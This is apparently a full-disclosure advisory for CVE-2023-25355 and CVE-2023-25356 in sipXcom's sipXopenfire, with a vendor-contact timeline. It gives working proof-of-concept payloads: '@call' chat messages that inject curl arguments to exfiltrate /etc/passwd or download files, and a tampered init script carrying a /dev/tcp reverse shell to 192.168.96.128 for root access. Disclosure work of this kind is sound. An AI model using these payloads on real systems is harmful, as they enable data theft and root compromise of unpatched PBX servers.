_____________________________________________________________________ ¯¯¯¯¯¯¯\__/ ༼ つ ◕_◕ ༽つ (ง'̀-'́)ง (╯°□°)╯︵ ┻━┻ ヽ(´ー`)ノ \__/¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Product: sipXcom sipXopenfire Vendor: CoreDial Name: "sipXcom sipXopenfire XMPP message system command argument injection and insecure service file permissions RCE" Version: 21.04 and earlier Fixed: Nope, no response Link: http://download.sipxcom.org/ CVEs: CVE-2023-25355 & CVE-2023-25356 _____________________________________________________________________ ¯¯\__/ ༼ つ ◕_◕ ༽つ (ง'̀-'́)ง (╯°□°)╯︵ ┻━┻ ヽ(´ー`)ノ \__/¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ TL;DR ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ CoreDial's sipXcom is a PBX server. It bundles an XMPP server component sipXopenfire, which is disabled by default. sipXopenfire is affected by an OS command argument injection vulnerability (CVE-2023-25356), which allows any user with an XMPP account to pass arbitrary arguments to a curl command. The same component is also affected by a weak file permissions vulnerability (CVE-2023-25355), affecting a service startup script which runs as root. Both issues can be chained to execute commands as the system root user. At the time of this disclosure, we have had no response from CoreDial, and neither issue has been fixed. _____________________________________________________________________ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ CVE-2023-25356: OS Command Argument Injection ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ As part of the initializePlugin() routine in sipXopenfire\presence-plugin\src\org\sipfoundry\openfire\plugin\presence\SipXOpenfirePlugin.java, an "interceptor" called DefaultMessagePacketInterceptor is registered. The DefaultMessagePacketInterceptor inspects every message that's sent through the XMPP server. If a message starts with any of the strings "@call", "@conf" or "@xfer" (referred to internally as "directives"), a related code path is taken, where the message content is processed according to what the specific directive is meant to achieve. When a message is intercepted which starts with "@call", all the text after this string is assumed to be a phone number and passed to the buildRestCallCommand() function. This function creates a long URL, which the user input is written directly into. There's no particular attempt to sanitise this input. This URL is then passed to the sendRestRequest() function, where it is appended to a curl command string. This string is then passed to Runtime.getRuntime().exec(command). Due to the inner mechanics of Runtime's exec() function, we are only able to control arguments passed to the main curl command. The constructed curl command is as follows: ``` curl -k -X POST http://[IPAddress]:[Port]/callcontroller/[callerNumber]/[controlledString]timeout=30&isForwardingAllowed=true ``` Since we can inject arbitrary arguments, we can construct a set of arguments which will read a file using the -d/--data flag, and send it over the network to us. The only limitation is that the sipXopenfire process runs as the daemon user. So we can only read files that are accessible to daemon. However, this includes potentially interesting files, like the chat history (/opt/openfire/logs/sipxopenfire-im.log) when chat logging is enabled. As proof-of-concept, the following payload will read /etc/passwd and post it to http://192.168.96.128/abc. ``` @call abc -o/tmp/test123 -d @/etc/passwd http://192.168.96.128/abc ``` We can also download files and write them to the server filesystem. The following will download the file from http://192.168.96.128/test.txt and write it to /tmp/test.txt ``` @call abc -o /tmp/dummy -o /tmp/test.txt -X GET http://192.168.96.128/test.txt -o /tmp/dummy ``` _____________________________________________________________________ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ CVE-2023-25355: Weak Service File Permissions ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ The /etc/init.d/openfire service file is owned by the daemon user and group, but runs as the root user. This gives a relatively clear path to privilege escalation. It also provides a very useful exploitation path, when chained with the curl argument injection issue. Since we can download files and write them to the filesystem, and the sipXopenfire process runs as the daemon user, we can overwrite the /etc/init.d/openfire file with a modified version. The following modified /etc/init.d/openfire will return a shell to port 4444 on 192.168.96.128 when the sipXopenfire service is (re)started. ``` #!/bin/sh # # openfire Stops and starts the Openfire XMPP service. # # chkconfig: 2345 99 1 # description: Openfire is an XMPP server, which is a server that facilitates \ # XML based communication, such as chat. # config: /opt/openfire/conf/openfire.xml # config: /etc/sysconfig/openfire # pidfile: /var/run/openfire.pid # # This script has currently been tested on Redhat, CentOS, and Fedora based # systems. # ##### # Begin setup work ##### # Initialization PATH="/sbin:/bin:/usr/bin:/usr/sbin" RETVAL=0 # Check that we are root ... so non-root users stop here. if [ "`id -u`" != 0 ]; then echo $0 must be run as root exit 1 fi su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1" # Get config. [ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire if [ -f "/etc/init.d/functions" ]; then FUNCTIONS_FOUND=true . /etc/init.d/functions fi # If openfire user is not set in sysconfig, set to daemon. [ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon" # If pid file path is not set in sysconfig, set to /var/run/openfire.pid. [ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid" # ----------------------------------------------------------------- # If a openfire home variable has not been specified, try to determine it. if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then if [ -d "/usr/share/openfire" ]; then OPENFIRE_HOME="/usr/share/openfire" elif [ -d "/usr/local/openfire" ]; then OPENFIRE_HOME="/usr/local/openfire" elif [ -d "/opt/openfire" ]; then OPENFIRE_HOME="/opt/openfire" else echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local." echo "Please specify the Openfire installation location as variable OPENFIRE_HOME" echo "in /etc/sysconfig/openfire." exit 1 fi fi # If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs. [ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs" # Attempt to locate java installation. if [ -z "$JAVA_HOME" ]; then if [ -d "${OPENFIRE_HOME}/jre" ]; then JAVA_HOME="${OPENFIRE_HOME}/jre" elif [ -d "/etc/alternatives/jre" ]; then JAVA_HOME="/etc/alternatives/jre" else jdks=`ls -r1d /usr/java/j*` for jdk in $jdks; do if [ -f "${jdk}/bin/java" ]; then JAVA_HOME="$jdk" break fi done fi fi JAVACMD="${JAVA_HOME}/bin/java" if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then echo "Error: JAVA_HOME is not defined correctly." echo " Can not sure execute $JAVACMD." exit 1 fi # Prepare location of openfire libraries OPENFIRE_LIB="${OPENFIRE_HOME}/lib" # Prepare openfire command line OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}" # Prepare local java class path if [ -z "$LOCALCLASSPATH" ]; then LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar" else LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}" fi # Export any necessary variables export JAVA_HOME JAVACMD # Lastly, prepare the full command that we are going to run. OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\"" ##### # End setup work ##### start() { OLD_PWD=`pwd` cd $OPENFIRE_LOGDIR PID=$(findPID) if [ -n "$PID" ]; then echo "Openfire is already running." RETVAL=1 return fi # Start daemons. echo -n "Starting openfire: " rm -f nohup.out su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER RETVAL=$? echo [ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire sleep 1 # allows prompt to return cd $OLD_PWD } stop() { # Stop daemons. echo -n "Shutting down openfire: " PID=$(findPID) if [ -n "$PID" ]; then if [ -n "$FUNCTIONS_FOUND" ]; then echo $PID > $OPENFIRE_PIDFILE # delay copied from restart killproc -p $OPENFIRE_PIDFILE -d 10 rm -f $OPENFIRE_PIDFILE else kill $PID fi else echo "Openfire is not running." fi RETVAL=$? echo [ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire } restart() { stop sleep 10 # give it a few moments to shut down start } condrestart() { [ -e "/var/lock/subsys/openfire" ] && restart return 0 } status() { PID=$(findPID) if [ -n "$PID" ]; then echo "openfire is running" RETVAL=0 else echo "openfire is not running" RETVAL=1 fi } findPID() { echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'` } # Handle how we were called. case "$1" in start) start ;; stop) stop ;; restart) restart ;; condrestart) condrestart ;; reload) restart ;; status) status ;; *) echo "Usage $0 {start|stop|restart|status|condrestart|reload}" RETVAL=1 esac exit $RETVAL ``` When served as openfire.txt from a web server (in this case, on 192.168.96.128), the curl argument injection can be exploited as so to overwrite the original /etc/init.d/openfire script. ``` @call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy ``` Once this file is overwritten, we should wait for the sipXopenfire service to be restarted. This might be from a server reboot, or from an administrator restarting the sipXopenfire service itself. When the service does restart, we will get a shell back as the root user. To make the exploitation more convenient, we could trigger the sipXopenfire service reload ourselves, if we also have credentials for the superadmin user on the sipXcom web configuration service. _____________________________________________________________________ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Errata & Disclosure Timeline ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ These issues were found at the end of October 2022. Initial contact attempts began on November 2nd 2022. sipXcom has a Wiki page that describes how to go about reporting issues. The recommended way is to file a bug on the Jira board, while setting "the 'Security' level in the New Issue to 'Security Issue'". I created a Jira account, tried to create an issue, and could not find the "Security" level option. I also noticed that it was not possible to tag an issue with any version later than 17.04, and there had also not been any meaningful activity on the tracker since November 2021 - about a year before I started the disclosure process. Since this recommended disclosure avenue seemed dead/unreliable, I decided to directly privately approach whichever organisation was responsible for sipXcom. I tried contacting eZuce who, at the time of the initial disclosure attempt, were mentioned extensively in the Wiki. I made several attempts at contact using the eZuce contact form. In the meantime, I noticed that the release notes for the latest sipXcom release started with the sentence "CoreDial is pleased to announce the GA release of sipXcom 21.04." It appears that eZuce, who had been the previous maintainers of sipXcom, were acquired by CoreDial in 2020. This implies that communications made to sipXcom or eZuce would make their way to CoreDial. After a few weeks with no response from the sipXcom/eZuce contact forms, I tried to make direct contact on Twitter. I also included the CoreDial account in this, and all subsequent tweets. I also tried to email CoreDial directly. My first attempt to contact CoreDial directly was December 1st 2022. At the time of this disclosure, I have sent several emails to, and tweets directed at, CoreDial. In each of the tweets, CoreDial untagged themselves, and never responded. I consider all these reasonable attempts to get the attention of CoreDial. I would have much preferred that they fix the issues in sipXcom before this disclosure. However, I encountered an active lack of interest, so am also comfortable in this case fully disclosing technical details without any public fix.